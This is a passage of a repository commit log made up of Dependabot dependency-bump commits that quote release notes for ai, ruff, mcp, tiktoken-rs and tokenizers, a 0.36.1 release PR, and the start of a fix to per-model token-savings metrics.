[c477556]</p> </li> <li> <p>Updated dependencies [ad6a650]</p> </li> <li> <p>Updated dependencies [81cd026]</p> <ul> <li><code>@ai-sdk/gateway</code><a href="https://github.com/4"><code>@4</code></a>.0.46</li> <li><code>@ai-sdk/provider</code><a href="https://github.com/4"><code>@4</code></a>.0.7</li> <li><code>@ai-sdk/provider-utils</code><a href="https://github.com/5"><code>@5</code></a>.0.25</li> </ul> </li> </ul> <h2>7.0.57</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [1937bef] <ul> <li><code>@ai-sdk/provider-utils</code><a href="https://github.com/5"><code>@5</code></a>.0.24</li> <li><code>@ai-sdk/gateway</code><a href="https://github.com/4"><code>@4</code></a>.0.45</li> </ul> </li> </ul> <h2>7.0.56</h2> <h3>Patch Changes</h3> <ul> <li> <p>25c9120: Expose provider metadata on language-model-call end callbacks and telemetry spans.</p> </li> <li> <p>89080c8: fix (ai/gateway): make retried <code>doStart</code> calls idempotent</p> <p><code>generateVideo</code> retries <code>doStart</code>, which creates a billable generation, so a retry after a lost response could start a second one. It now mints one idempotency token per logical start — outside the retry closure — and forwards it as an <code>idempotency-key</code> header, so a provider that deduplicates (the Vercel AI</p> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
c6dd823384
|
deps: bump md-5 from 0.10.6 to 0.11.0 (#3146)
Bumps [md-5](https://github.com/RustCrypto/hashes) from 0.10.6 to 0.11.0. <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
c8db13d5ad
|
deps: bump ruff from 0.16.2 to 0.16.3 in the pip-minor-patch group (#3143)
Bumps the pip-minor-patch group with 1 update: [ruff](https://github.com/astral-sh/ruff). Updates `ruff` from 0.16.2 to 0.16.3 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/releases">ruff's releases</a>.</em></p> <blockquote> <h2>0.16.3</h2> <h2>Release Notes</h2> <p>Released on 2026-08-13.</p> <h3>Preview features</h3> <ul> <li>[<code>pylint</code>] Fix false negatives on negative numbers (<code>PLR6104</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27251">#27251</a>)</li> <li>[<code>pyupgrade</code>] Add rule to replace <code>while 1</code> with <code>while True</code> (<code>UP048</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27190">#27190</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>flake8-bandit</code>] Also check keyword arguments (<code>S602</code>, <code>S603</code>, <code>S607</code>, <code>S609</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27687">#27687</a>)</li> <li>[<code>pylint</code>] Allow <code>continue</code> in <code>finally</code> on Python 3.8 (<a href="https://redirect.github.com/astral-sh/ruff/pull/27626">#27626</a>)</li> <li>[<code>pylint</code>] Fix <code>PLE1307</code> false positive with bools (<a href="https://redirect.github.com/astral-sh/ruff/pull/27651">#27651</a>)</li> <li>[<code>pylint</code>] Fix false positives and negatives with <code>%b</code> format character (<code>PLE1300</code>, <code>PLE1307</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27560">#27560</a>)</li> <li>[<code>pylint</code>] Improve handling of concatenated strings (<code>PLE1300</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27659">#27659</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>numpy</code>] Make <code>np.chararray</code> autofix backwards-compatible (<code>NPY201</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27527">#27527</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Enable PGO for Linux x86-64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27570">#27570</a>)</li> <li>Enable PGO for Linux ARM64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27574">#27574</a>)</li> <li>Enable PGO for Windows x86-64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27573">#27573</a>)</li> <li>Enable PGO for macOS ARM64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27572">#27572</a>)</li> <li>Reduce <code>Expr</code> size to 64 bytes (<a href="https://redirect.github.com/astral-sh/ruff/pull/27591">#27591</a>)</li> </ul> <h3>CLI</h3> <ul> <li>Hyperlink rule codes in <code>ruff check --statistics</code> output (<a href="https://redirect.github.com/astral-sh/ruff/pull/27646">#27646</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>[<code>ruff</code>] Also suggest <code>asyncio.TaskGroup</code> (<code>RUF006</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27461">#27461</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Use mimalloc v3 (<a href="https://redirect.github.com/astral-sh/ruff/pull/27586">#27586</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/Andrej730"><code>@Andrej730</code></a></li> <li><a href="https://github.com/alonfaraj"><code>@alonfaraj</code></a></li> <li><a href="https://github.com/romero-deshaw"><code>@romero-deshaw</code></a></li> <li><a href="https://github.com/Avasam"><code>@Avasam</code></a></li> <li><a href="https://github.com/tjkuson"><code>@tjkuson</code></a></li> <li><a href="https://github.com/charliermarsh"><code>@charliermarsh</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.16.3</h2> <p>Released on 2026-08-13.</p> <h3>Preview features</h3> <ul> <li>[<code>pylint</code>] Fix false negatives on negative numbers (<code>PLR6104</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27251">#27251</a>)</li> <li>[<code>pyupgrade</code>] Add rule to replace <code>while 1</code> with <code>while True</code> (<code>UP048</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27190">#27190</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>[<code>flake8-bandit</code>] Also check keyword arguments (<code>S602</code>, <code>S603</code>, <code>S607</code>, <code>S609</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27687">#27687</a>)</li> <li>[<code>pylint</code>] Allow <code>continue</code> in <code>finally</code> on Python 3.8 (<a href="https://redirect.github.com/astral-sh/ruff/pull/27626">#27626</a>)</li> <li>[<code>pylint</code>] Fix <code>PLE1307</code> false positive with bools (<a href="https://redirect.github.com/astral-sh/ruff/pull/27651">#27651</a>)</li> <li>[<code>pylint</code>] Fix false positives and negatives with <code>%b</code> format character (<code>PLE1300</code>, <code>PLE1307</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27560">#27560</a>)</li> <li>[<code>pylint</code>] Improve handling of concatenated strings (<code>PLE1300</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27659">#27659</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>numpy</code>] Make <code>np.chararray</code> autofix backwards-compatible (<code>NPY201</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27527">#27527</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Enable PGO for Linux x86-64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27570">#27570</a>)</li> <li>Enable PGO for Linux ARM64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27574">#27574</a>)</li> <li>Enable PGO for Windows x86-64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27573">#27573</a>)</li> <li>Enable PGO for macOS ARM64 Ruff releases (<a href="https://redirect.github.com/astral-sh/ruff/pull/27572">#27572</a>)</li> <li>Reduce <code>Expr</code> size to 64 bytes (<a href="https://redirect.github.com/astral-sh/ruff/pull/27591">#27591</a>)</li> </ul> <h3>CLI</h3> <ul> <li>Hyperlink rule codes in <code>ruff check --statistics</code> output (<a href="https://redirect.github.com/astral-sh/ruff/pull/27646">#27646</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>[<code>ruff</code>] Also suggest <code>asyncio.TaskGroup</code> (<code>RUF006</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/27461">#27461</a>)</li> </ul> <h3>Other changes</h3> <ul> <li>Use mimalloc v3 (<a href="https://redirect.github.com/astral-sh/ruff/pull/27586">#27586</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/Andrej730"><code>@Andrej730</code></a></li> <li><a href="https://github.com/alonfaraj"><code>@alonfaraj</code></a></li> <li><a href="https://github.com/romero-deshaw"><code>@romero-deshaw</code></a></li> <li><a href="https://github.com/Avasam"><code>@Avasam</code></a></li> <li><a href="https://github.com/tjkuson"><code>@tjkuson</code></a></li> <li><a href="https://github.com/charliermarsh"><code>@charliermarsh</code></a></li> <li><a href="https://github.com/chirizxc"><code>@chirizxc</code></a></li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
08910624fb
|
deps: bump ai from 6.0.138 to 7.0.59 in /sdk/typescript (#2281)
Bumps [ai](https://github.com/vercel/ai/tree/HEAD/packages/ai) from 6.0.138 to 7.0.59. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/vercel/ai/releases">ai's releases</a>.</em></p> <blockquote> <h2>ai@6.0.253</h2> <h3>Patch Changes</h3> <ul> <li>d91d30b: Preserve reasoning block IDs from UI message streams on reasoning UI parts.</li> <li>Updated dependencies [0ec239b] <ul> <li><code>@ai-sdk/gateway</code><a href="https://github.com/3"><code>@3</code></a>.0.172</li> </ul> </li> </ul> <h2>ai@6.0.252</h2> <h3>Patch Changes</h3> <ul> <li>2f96d3f: Allow providers without reranking model support to satisfy the <code>Provider</code> type.</li> <li>afb1965: Propagate errors thrown by the Chat <code>onFinish</code> callback to the initiating request.</li> <li>Updated dependencies [18b0965]</li> <li>Updated dependencies [451d2c3] <ul> <li><code>@ai-sdk/gateway</code><a href="https://github.com/3"><code>@3</code></a>.0.171</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/vercel/ai/blob/main/packages/ai/CHANGELOG.md">ai's changelog</a>.</em></p> <blockquote> <h2>7.0.59</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [401a4ba]</li> <li>Updated dependencies [7af9646] <ul> <li><code>@ai-sdk/provider-utils</code><a href="https://github.com/5"><code>@5</code></a>.0.26</li> <li><code>@ai-sdk/gateway</code><a href="https://github.com/4"><code>@4</code></a>.0.47</li> </ul> </li> </ul> <h2>7.0.58</h2> <h3>Patch Changes</h3> <ul> <li> <p>72ad23f: Respect ToolLoopAgent timeouts configured in agent settings.</p> </li> <li> <p>ad6a650: feat(video): allow <code>aspectRatio: 'adaptive'</code> on <code>generateVideo</code></p> <p>Some video models derive the output ratio from the input and reject explicit <code>{width}:{height}</code> values — BytePlus Seedance 2.5 does this for first-frame, first-and-last-frame, editing, and extension tasks. <code>aspectRatio</code> on <code>VideoModelV3CallOptions</code>, <code>VideoModelV4CallOptions</code>, and <code>experimental_generateVideo</code> is now <code>`${number}:${number}` | 'adaptive'</code>, so those calls no longer need a type assertion. Support is provider-specific.</p> </li> <li> <p>81cd026: Reduce bundle size by making internal Zod v4 imports tree-shakeable.</p> </li> <li> <p>Updated dependencies [c477556]</p> </li> <li> <p>Updated dependencies [ad6a650]</p> </li> <li> <p>Updated dependencies [81cd026]</p> <ul> <li><code>@ai-sdk/gateway</code><a href="https://github.com/4"><code>@4</code></a>.0.46</li> <li><code>@ai-sdk/provider</code><a href="https://github.com/4"><code>@4</code></a>.0.7</li> <li><code>@ai-sdk/provider-utils</code><a href="https://github.com/5"><code>@5</code></a>.0.25</li> </ul> </li> </ul> <h2>7.0.57</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [1937bef] <ul> <li><code>@ai-sdk/provider-utils</code><a href="https://github.com/5"><code>@5</code></a>.0.24</li> <li><code>@ai-sdk/gateway</code><a href="https://github.com/4"><code>@4</code></a>.0.45</li> </ul> </li> </ul> <h2>7.0.56</h2> <h3>Patch Changes</h3> <ul> <li> <p>25c9120: Expose provider metadata on language-model-call end callbacks and telemetry spans.</p> </li> <li> <p>89080c8: fix (ai/gateway): make retried <code>doStart</code> calls idempotent</p> <p><code>generateVideo</code> retries <code>doStart</code>, which creates a billable generation, so a retry after a lost response could start a second one. It now mints one idempotency token per logical start — outside the retry closure — and forwards it as an <code>idempotency-key</code> header, so a provider that deduplicates (the Vercel AI</p> </li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
6928d1932c
|
deps: update mcp requirement from <2.0.0,>=1.28.1 to >=1.28.1,<3.0.0 (#3144)
Updates the requirements on [mcp](https://github.com/modelcontextprotocol/python-sdk) to permit the latest version. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/modelcontextprotocol/python-sdk/releases">mcp's releases</a>.</em></p> <blockquote> <h2>v2.0.0</h2> <h1>MCP Python SDK v2 Stable Release</h1> <p>This is v2.0.0, the stable v2 release of the MCP Python SDK. It supports the 2026-07-28 revision of the Model Context Protocol and serves every earlier revision from the same server. <code>pip install mcp</code> now installs 2.x.</p> <pre lang="bash"><code>pip install "mcp[cli]" # or uv add "mcp[cli]" </code></pre> <h3>Documentation Rewrite</h3> <p>The <a href="https://py.sdk.modelcontextprotocol.io/">documentation</a> has the full tutorial and API reference. Coming from v1? <a href="https://py.sdk.modelcontextprotocol.io/whats-new/">What's new in v2</a> is the tour of what changed and why, and the <a href="https://py.sdk.modelcontextprotocol.io/migration/">migration guide</a> lists every breaking change with before-and-after code.</p> <h3>V1 Maintenance mode</h3> <p><strong>v1.x is in maintenance mode and will only receive security fixes from now on</strong> The 1.x line lives on the <a href="https://github.com/modelcontextprotocol/python-sdk/tree/v1.x"><code>v1.x</code> branch</a>, continues to receive critical bug fixes and security patches, and is documented at <a href="https://py.sdk.modelcontextprotocol.io/v1/">https://py.sdk.modelcontextprotocol.io/v1/</a>. If your project is not ready to migrate, keep a <code><2</code> upper bound on your requirement (for example <code>mcp>=1.28,<2</code>).</p> <h2>Highlights</h2> <h3>One SDK, both protocol eras</h3> <p>v2 speaks the 2026-07-28 revision (stateless requests with no handshake, <code>server/discover</code>, <code>subscriptions/listen</code>, multi-round-trip requests) and still serves every 2025-era client from the same <code>MCPServer</code>, over Streamable HTTP and stdio, with nothing to configure. <code>Client(target)</code> negotiates the version automatically.</p> <h3><code>FastMCP</code> is now <code>MCPServer</code>, and there is a first-class <code>Client</code></h3> <p>The decorator API is unchanged; the low-level <code>Server</code> is rebuilt around a shared dispatcher engine, and one <code>Client</code> object replaces v1's transport-plus-<code>ClientSession</code>-plus-<code>initialize()</code> layering. It connects to a URL, a stdio subprocess, a custom transport, or straight to a server object in memory for tests.</p> <h3>Multi-round-trip requests and resolver dependency injection</h3> <p>At 2026-07-28 the server can no longer call the client, so tools return the question instead. A <code>Resolve(fn)</code> parameter is filled by your function invisibly to the model and can put a question to the user; one tool body serves both eras.</p> <h3>Extension APIs, OpenTelemetry, and a standalone types package</h3> <p>Servers and clients compose protocol extensions through pluggable extension APIs (MCP Apps built in); OpenTelemetry tracing ships on by default; every protocol type is its own package, <code>mcp-types</code> (imported as <code>mcp_types</code>), published in lock-step with <code>mcp</code>.</p> <h3>Hardened stdio and auth</h3> <p>stdio servers keep handler subprocesses and stray prints off the wire, and stdout is diverted to stderr while serving. OAuth adds RFC 9207 issuer validation, the SEP-990 identity-assertion flow, and the client-credentials extension.</p> <h2>Coming from a v2 pre-release</h2> <p>Since the last release candidate: the per-version wire packages are private (<code>mcp_types._v*</code>), <code>mcp.types</code> is a permanent alias for <code>mcp_types</code>, the auth registration request model is split from the registered-client record, cancelled requests are no longer answered, and log notifications are gated on the per-request log-level opt-in at 2026-07-28. Since the betas: <code>Client(cache=False)</code> is now <code>cache=None</code> with <code>CacheConfig()</code> the default; <code>Context.client_id</code>, <code>RFC7523OAuthClientProvider</code>, and <code>OAuthClientProvider(timeout=)</code> are removed; the client-credentials providers take <code>scope=</code>; <code>message_handler</code> receives notifications and exceptions only; <code>FileResource(is_binary=)</code> becomes <code>encoding</code>; <code>MCP_*</code> env vars are gone with <code>pydantic-settings</code>; Streamable HTTP servers reject bodies over 4 MiB with HTTP 413. The migration guide covers all of it.</p> <h2>Known gaps</h2> <p>The tasks extension (SEP-2663) is not part of this release. On the client, the DPoP proof binding (SEP-1932) and the workload-identity <code>jwt-bearer</code> grant are not implemented; both are additive and can land in 2.x.</p> <h2>Feedback</h2> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
9c14e3aa95
|
deps: bump the cargo-minor-patch group with 8 updates (#3145)
Bumps the cargo-minor-patch group with 8 updates: | Package | From | To | | --- | --- | --- | | [aws-config](https://github.com/smithy-lang/smithy-rs) | `1.10.0` | `1.10.1` | | [rusqlite](https://github.com/rusqlite/rusqlite) | `0.40.1` | `0.40.2` | | [uuid](https://github.com/uuid-rs/uuid) | `1.24.0` | `1.24.1` | | [futures](https://github.com/rust-lang/futures-rs) | `0.3.33` | `0.3.34` | | [futures-util](https://github.com/rust-lang/futures-rs) | `0.3.33` | `0.3.34` | | [http-body-util](https://github.com/hyperium/http-body) | `0.1.4` | `0.1.5` | | [async-trait](https://github.com/dtolnay/async-trait) | `0.1.91` | `0.1.92` | | [cc](https://github.com/rust-lang/cc-rs) | `1.4.1` | `1.4.3` | Updates `aws-config` from 1.10.0 to 1.10.1 <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/smithy-lang/smithy-rs/commits">compare view</a></li> </ul> </details> <br /> Updates `rusqlite` from 0.40.1 to 0.40.2 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/rusqlite/rusqlite/releases">rusqlite's releases</a>.</em></p> <blockquote> <h2>0.40.2</h2> <h2>What's Changed</h2> <ul> <li>Lower MSRV to 1.88.0</li> </ul> <p><strong>Full Changelog</strong>: <a href="https://github.com/rusqlite/rusqlite/compare/v0.40.1...v0.40.2">https://github.com/rusqlite/rusqlite/compare/v0.40.1...v0.40.2</a></p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
a307c11109
|
deps: bump tiktoken-rs from 0.11.0 to 0.12.0 (#3147)
Bumps [tiktoken-rs](https://github.com/zurawiki/tiktoken-rs) from 0.11.0 to 0.12.0. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/zurawiki/tiktoken-rs/releases">tiktoken-rs's releases</a>.</em></p> <blockquote> <h2>v0.12.0</h2> <h2>Summary</h2> <p>This release backports OpenAI <code>tiktoken</code> 0.13.0 into <code>tiktoken-rs</code>. The main reason to upgrade is better alignment with upstream tokenization behavior, especially the upstream Rust core changes for large BPE pieces and error-aware encoding.</p> <p>For most users who call the high-level model/token counting helpers, this should behave the same aside from the new Rust compiler requirement. Users who call lower-level <code>CoreBPE</code> encoding methods directly should review the breaking changes below.</p> <h2>What Changed</h2> <ul> <li>Backported the vendored OpenAI <code>tiktoken</code> Rust core from 0.9.0 to 0.13.0.</li> <li>Added the upstream large-piece BPE merge path. Functionally, this improves behavior for very large or repetitive inputs that previously stressed the merge algorithm.</li> <li>Changed <code>CoreBPE::encode</code> to return <code>Result<(Vec<Rank>, usize), EncodeError></code>, matching upstream. Regex/tokenization failures can now be reported instead of being hidden behind infallible APIs.</li> <li>Updated <code>encode_as</code> and <code>count</code> to return <code>Result</code> because they call <code>encode</code>.</li> <li>Re-exported <code>EncodeError</code> so callers can handle encode failures directly.</li> <li>Aligned the vendored core with Rust 2024 and raised the crate MSRV to Rust 1.85.</li> <li>Synced model-to-tokenizer mappings with upstream <code>tiktoken</code> 0.13.0 while keeping local extra prefixes isolated.</li> <li>Hardened asset downloads with SHA-256 checks and a repo-root-aware asset path.</li> </ul> <h2>Breaking Changes</h2> <p>If your code calls <code>CoreBPE::encode</code>, unwrap or propagate the result before using the tokens:</p> <pre lang="rust"><code>let allowed = bpe.special_tokens(); let (tokens, last_piece_token_len) = bpe.encode("hello <|endoftext|>", &allowed)?; </code></pre> <p>The generic helpers changed similarly:</p> <pre lang="rust"><code>let (tokens, last_piece_token_len) = bpe.encode_as::<usize>(text, &allowed)?; let token_count = bpe.count(text, &allowed)?; </code></pre> <p><code>encode_ordinary</code>, <code>encode_ordinary_as</code>, <code>encode_with_special_tokens</code>, and <code>count_ordinary</code> remain infallible.</p> <p>Projects must now build with Rust 1.85 or newer.</p> <h2>Practical Impact</h2> <ul> <li>Applications processing long repeated text should see more robust tokenization behavior.</li> <li>Code that only uses helpers like <code>get_chat_completion_max_tokens</code>, <code>get_text_completion_max_tokens</code>, <code>bpe_for_model</code>, or singleton tokenizer constructors should not need call-site changes.</li> <li>Code using low-level <code>CoreBPE::encode</code>, <code>encode_as</code>, or <code>count</code> needs a small migration to handle <code>Result</code>.</li> </ul> <h2>Links</h2> <ul> <li>PR: <a href="https://redirect.github.com/zurawiki/tiktoken-rs/pull/164">zurawiki/tiktoken-rs#164</a></li> <li>Upstream <code>tiktoken</code> 0.13.0: <a href="https://github.com/openai/tiktoken/releases/tag/0.13.0">https://github.com/openai/tiktoken/releases/tag/0.13.0</a></li> <li>Full changelog: <a href="https://github.com/zurawiki/tiktoken-rs/compare/v0.11.0...v0.12.0">https://github.com/zurawiki/tiktoken-rs/compare/v0.11.0...v0.12.0</a></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
dependabot[bot]
|
6e2e10f67a
|
deps: bump tokenizers from 0.22.2 to 0.23.1 (#3149)
Bumps [tokenizers](https://github.com/huggingface/tokenizers) from 0.22.2 to 0.23.1. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/huggingface/tokenizers/releases">tokenizers's releases</a>.</em></p> <blockquote> <h2>Release v0.23.1</h2> <h2>TL;DR</h2> <p><code>tokenizers 0.23.1</code> is the first proper stable release in the <code>0.23</code> line — <code>0.23.0</code> only ever shipped as <code>rc0</code> because the release pipeline itself was broken (Node side hadn't shipped multi-platform binaries since 2023, Python side was on <code>pyo3 0.27</code> without free-threaded support). <code>0.23.1</code> is the version where everything actually goes out the door together: full Node multi-platform wheels for the first time in years, Python 3.14 (regular <strong>and</strong> free-threaded <code>3.14t</code>), full type hints for every Python class, and a stack of measurable perf wins on the BPE / added-vocab hot paths.</p> <p>There is no functional <code>0.23.0</code> published — we tag <code>0.23.1</code> directly so users don't accidentally pull a never-shipped version.</p> <hr /> <h2>🚨 Breaking changes</h2> <ul> <li><strong>Drop Python 3.9</strong> (<a href="https://redirect.github.com/huggingface/tokenizers/issues/1952">#1952</a>) — <code>requires-python = ">=3.10"</code>; 3.9 users stay on <code>0.22.x</code>.</li> <li><strong><code>add_tokens</code> normalizes <code>content</code> at insertion</strong> (<a href="https://redirect.github.com/huggingface/tokenizers/issues/1995">#1995</a>) — re-saved <code>tokenizer.json</code> may differ in the <code>added_tokens</code> block. Existing files load unchanged.</li> <li><strong>Type stubs are precise</strong> (<a href="https://redirect.github.com/huggingface/tokenizers/issues/1928">#1928</a>, <a href="https://redirect.github.com/huggingface/tokenizers/issues/1997">#1997</a>) — methods that returned <code>Any</code> now return real types; <code>mypy --strict</code> may surface previously-hidden errors. Stub layout also moved from <code>tokenizers/<sub>/__init__.pyi</code> to <code>tokenizers/<sub>.pyi</code>. This breaks the surface of some of the processors like <code>RobertaProcessign</code>'s <code>__init__</code> .</li> <li><strong>3.14t-only</strong>: setters/getters return <code>PyResult<T></code> because of <code>Arc<RwLock<Tokenizer>></code>; a poisoned lock surfaces as <code>PyException</code> instead of a panic.</li> </ul> <hr /> <h2>⚡ Performance — measured locally on this Mac, not lifted from PRs</h2> <p>Run with <code>cargo bench --bench <name> -- --save-baseline v0_22_2</code> on <code>v0.22.2</code>, then <code>--baseline v0_22_2</code> on <code>v0.23.1</code>. Numbers are point-in-time wall clock on a single laptop; relative deltas are what matters, absolute numbers will differ on CI hardware.</p> <h3>Added-vocabulary deserialize — the headline win (<a href="https://redirect.github.com/huggingface/tokenizers/issues/1995">#1995</a>, <a href="https://redirect.github.com/huggingface/tokenizers/issues/1999">#1999</a>)</h3> <p><code>bench: improve added_vocab_deserialize to reflect real-world workloads</code> (<a href="https://redirect.github.com/huggingface/tokenizers/issues/2000">#2000</a>) is now representative of how transformers actually loads tokenizer.json files. The combined effect of <code>daachorse</code> for the matching automaton plus the normalize-on-insert refactor is enormous on this workload:</p> <table> <thead> <tr> <th>benchmark</th> <th align="right">v0.22.2</th> <th align="right">v0.23.1</th> <th align="right">change</th> </tr> </thead> <tbody> <tr> <td>100k tokens, special, no norm</td> <td align="right">~410 ms</td> <td align="right">248 ms</td> <td align="right"><strong>−40%</strong></td> </tr> <tr> <td>100k tokens, non-special, no norm</td> <td align="right">~7.1 s</td> <td align="right">273 ms</td> <td align="right"><strong>−96%</strong></td> </tr> <tr> <td>100k tokens, special, NFKC</td> <td align="right">~395 ms</td> <td align="right">235 ms</td> <td align="right"><strong>−40%</strong></td> </tr> <tr> <td>100k tokens, non-special, NFKC</td> <td align="right">~7.4 s</td> <td align="right">290 ms</td> <td align="right"><strong>−96%</strong></td> </tr> <tr> <td>400k tokens, special, no norm</td> <td align="right">~15 s</td> <td align="right">980 ms</td> <td align="right"><strong>−94%</strong></td> </tr> </tbody> </table> <p>Real-world impact: loading a Llama-3-style tokenizer with a large set of added tokens dropped from "noticeable pause" to "instant".</p> <h3>BPE encode</h3> <table> <thead> <tr> <th>benchmark</th> <th align="right">v0.22.2</th> <th align="right">v0.23.1</th> <th align="right">change</th> </tr> </thead> <tbody> <tr> <td><code>BPE GPT2 encode batch, no cache</code></td> <td align="right">530 ms</td> <td align="right">446 ms</td> <td align="right"><strong>−16%</strong></td> </tr> <tr> <td><code>BPE GPT2 encode batch</code> (cached)</td> <td align="right">690 ms</td> <td align="right">685 ms</td> <td align="right">noise</td> </tr> <tr> <td><code>BPE GPT2 encode</code> (single)</td> <td align="right">1.95 s</td> <td align="right">1.94 s</td> <td align="right">noise</td> </tr> <tr> <td><code>BPE Train (small)</code></td> <td align="right">32.6 ms</td> <td align="right">31.5 ms</td> <td align="right">−3%</td> </tr> <tr> <td><code>BPE Train (big)</code></td> <td align="right">1.01 s</td> <td align="right">988 ms</td> <td align="right">−2%</td> </tr> </tbody> </table> <p>The BPE per-thread cache PR (<a href="https://redirect.github.com/huggingface/tokenizers/issues/2028">#2028</a>) shows much larger wins on highly-parallel workloads (+47–62% at 88+ threads on a server box, per the PR's own measurements on Vera). Single-thread batch numbers above are flat or slightly improved because cache-hit overhead was already low without contention.</p> <h3>Llama-3 encode</h3> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href=" |
||
|
JD Davis
|
37faf2f247
|
chore: release 0.36.1 (#3152)
## Description Release 0.36.1, generated by Release Please, containing the security fixes from #2207 (WEB-01–07). This updates the changelog and keeps Python, TypeScript SDK, plugin package, marketplace, server, and release metadata versions aligned at 0.36.1. ## Type of Change - [x] Release / version metadata ## Changes Made - Updated the release manifest and generated changelog for 0.36.1. - Synchronized `pyproject.toml`, TypeScript SDK, OpenClaw, OpenCode, agent-hook plugin, marketplace, server, and release metadata versions. - Included the 0.36.1 changelog entry for the security assessment fixes merged in #2207. ## Testing - [x] CI and release validation pass ### Test Output All current required checks are complete and passing, including version sync, package builds, wheel smoke imports, security scans, Python test shards, native wrapper checks, and devcontainer validation. ## Real Behavior Proof - Environment: GitHub Actions release and CI workflows for commit `52c0a0c61dce0af81af3ff73a34efe8b451501cb`. - Observed result: all generated version-bearing files report 0.36.1; build and smoke-import jobs produced and validated the release artifacts. - Not exercised: publishing jobs are intentionally skipped for a pull request and run only after the release receives final human approval and is merged. ## Runtime Rollout Safety - Rollout-managed features: none; this PR packages already-merged behavior. - Stable/default behavior changed: no additional runtime behavior beyond the included, already-reviewed security fixes. - Kill switch / disable path: not applicable to generated release metadata. - Qualification impact: release artifact construction and smoke-import validation are green. - Rollback path: do not merge the release PR, or revert the release commit before publishing. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Release Notes ### Bug Fixes - **security:** address u9up assessment findings (WEB-01–07) (#2207) This PR was generated with Release Please and then its description was expanded to document review and qualification evidence. It still requires final human review; no publishing or merge has been performed. --------- Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> |
||
|
Tejas Chopra
|
81fe9d5345
|
fix(metrics): attribute tool-schema savings per model, not just compression (#3155)
## Description
Reported against 0.36.0 (VS Code + Copilot + Claude Code): the per-model
breakdown disagreed with the headline printed four lines above it.
```
Tokens saved: 625,277
· messages 36,071
· tool schemas 589,206
Per-Model Breakdown
<a>: 35,907 tokens saved
<b>: 0 tokens saved
<c>: 164 tokens saved
<d>: 0 tokens saved
```
The rows sum to **36,071** — the *messages* line exactly. All 589,206
tokens of tool-schema deferral, 94% of the headline, had no row to land
in, so every tool-heavy model reported "0 tokens saved" while real
dollars were credited to it.
Deferral is disjoint from message compression by construction: deferred
schemas never enter the message token counts, so they move neither
`tokens_saved` nor `tokens_sent`. The headline, the PERF line, and the
savings ledger (#2795) all already fold the two together. Three
per-model surfaces did not.
Closes #
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
